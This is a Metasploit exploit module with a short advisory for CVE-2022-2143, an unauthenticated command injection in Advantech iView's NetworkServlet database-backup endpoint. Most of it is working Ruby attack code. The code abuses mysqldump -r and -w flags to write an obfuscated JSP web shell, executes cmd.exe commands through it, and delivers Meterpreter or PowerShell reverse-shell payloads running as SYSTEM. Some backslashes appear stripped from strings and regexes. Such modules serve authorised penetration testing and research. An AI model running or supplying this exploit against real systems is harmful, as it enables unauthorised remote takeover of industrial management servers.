Authored by rgod, Shelby Pace, Y4er | Site metasploit.com

Advantech iView software versions prior to 5.7.04.6469 are vulnerable to an unauthenticated command injection vulnerability via the NetworkServlet endpoint. The database backup functionality passes a user-controlled parameter, backup_file to the mysqldump command. The sanitization functionality only tests for SQL injection attempts and directory traversal, so leveraging the -r and -w mysqldump flags permits exploitation. The command injection vulnerability is used to write a payload on the target and achieve remote code execution as NT AUTHORITYSYSTEM.

advisories | CVE-2022-2143

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Advantech iView NetworkServlet Command Injection',
'Description' => %q{
Versions of Advantech iView software below `5.7.04.6469` are
vulnerable to an unauthenticated command injection vulnerability
via the `NetworkServlet` endpoint.
The database backup functionality passes a user-controlled parameter,
`backup_file` to the `mysqldump` command. The sanitization functionality only
tests for SQL injection attempts and directory traversal, so leveraging the
`-r` and `-w` `mysqldump` flags permits exploitation.
The command injection vulnerability is used to write a payload on the target
and achieve remote code execution as NT AUTHORITYSYSTEM.
},
'License' => MSF_LICENSE,
'Author' => [
'rgod', # Vulnerability discovery
'y4er', # PoC
'Shelby Pace' # Metasploit module
],
'References' => [
[ 'URL', 'https://y4er.com/post/cve-2022-2143-advantech-iview-networkservlet-command-inject-rce/'],
[ 'CVE', '2022-2143']
],
'Platform' => [ 'win' ],
'Privileged' => true,
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
'Targets' => [
[
'Windows Dropper',
{
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Type' => :win_dropper,
'CmdStagerFlavor' => [ 'psh_invokewebrequest', 'vbs' ],
'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }
}
],
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' }
}
]
],
'DisclosureDate' => '2022-06-28',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
}
)
)

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The base path to Advantech iView', '/iView3']),
OptString.new('USERNAME', [ false, 'The user name to authenticate with', 'admin']),
OptString.new('PASSWORD', [ false, 'The password to authenticate with', 'password'])
]
)
end

def check
res = send_request_cgi!(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)

return CheckCode::Unknown('Failed to receive a response from the application') unless res

unless res.body.include?('iView')
return CheckCode::Safe('No confirmation that target is Advantech iView')
end

res = send_db_backup_request('')
return CheckCode::Detected('Failed to receive response from backup request') unless res

# The patch added auth as a requirement for
# accessing the NetworkServlet endpoint
if res.body =~ /ERROR:s+Users+NotsLogin/
@needs_auth = true
print_status('Vulnerability is present, though authentication is required.')
end

CheckCode::Appears
end

def send_db_backup_request(filename)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
'keep_cookies' => true,
'vars_post' =>
{
'page_action_type' => 'backupDatabase',
'backup_filename' => filename
}
)
end

def format_jsp
bin_nums = []
arg_nums = []
flag_nums = []

bin_param.each_char { |c| bin_nums << c.ord }
bin_nums = bin_nums.join(',')
arg_param.each_char { |c| arg_nums << c.ord }
arg_nums = arg_nums.join(',')
flag_param.each_char { |c| flag_nums << c.ord }
flag_nums = flag_nums.join(',')

'<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream(('
'new ProcessBuilder(request.getParameter('
"new java.lang.String(new byte[]{#{bin_nums}})),"
"request.getParameter(new java.lang.String(new byte[]{#{flag_nums}})),"
"request.getParameter(new java.lang.String(new byte[]{#{arg_nums}}))).start())"
'.getInputStream()))%>'
end

def flag_param
@flag_param ||= Rex::Text.rand_text_alpha(3..8)
end

def arg_param
@arg_param ||= Rex::Text.rand_text_alpha(3..8)
end

def bin_param
@bin_param ||= Rex::Text.rand_text_alpha(3..8)
end

def jsp_filename
@jsp_filename ||= "#{Rex::Text.rand_text_alpha(5..12)}.jsp"
end

def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, jsp_filename),
'keep_cookies' => true,
'vars_get' =>
{
bin_param => 'cmd.exe',
flag_param => '/c',
arg_param => cmd
}
)
end

def iview_authenticate
res = send_request_cgi!(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)

fail_with(Failure::UnexpectedReply, 'Login page not found') unless res && res.body.include?('loginWindow')
vprint_good('Successfully accessed the login page')

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'CommandServlet'),
'keep_cookies' => true,
'vars_post' => {
'page_action_service' => 'UserServlet',
'page_action_type' => 'login',
'user_name' => datastore['USERNAME'],
'user_password' => datastore['PASSWORD'],
'use_ldap' => 'false',
'data' => ''
}
)

unless res && res.body.include?('Success')
fail_with(Failure::BadConfig, 'Authentication failed. Credentials likely incorrect.')
end
vprint_good('Authentication successful!')
end

def need_auth?
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'NetworkServlet')
)
return false unless res

!!(res.body =~ /ERROR:s+Users+NotsLogin/)
end

def exploit
if @needs_auth || need_auth?
iview_authenticate
end

jsp_code = format_jsp

sql_filename = "#{Rex::Text.rand_text_alpha(5..12)}.sql"
full_cmd = "#{sql_filename}" -r "./webapps/iView3/#{jsp_filename}" -w "#{jsp_code}""

res = send_db_backup_request(full_cmd)
fail_with(Failure::UnexpectedReply, 'Failed to write JSP file to target') unless res

path = "webappsiView3#{jsp_filename}"
register_file_for_cleanup(path)
if target['Type'] == :win_dropper
execute_cmdstager
else
execute_command(payload.encoded)
end
end
end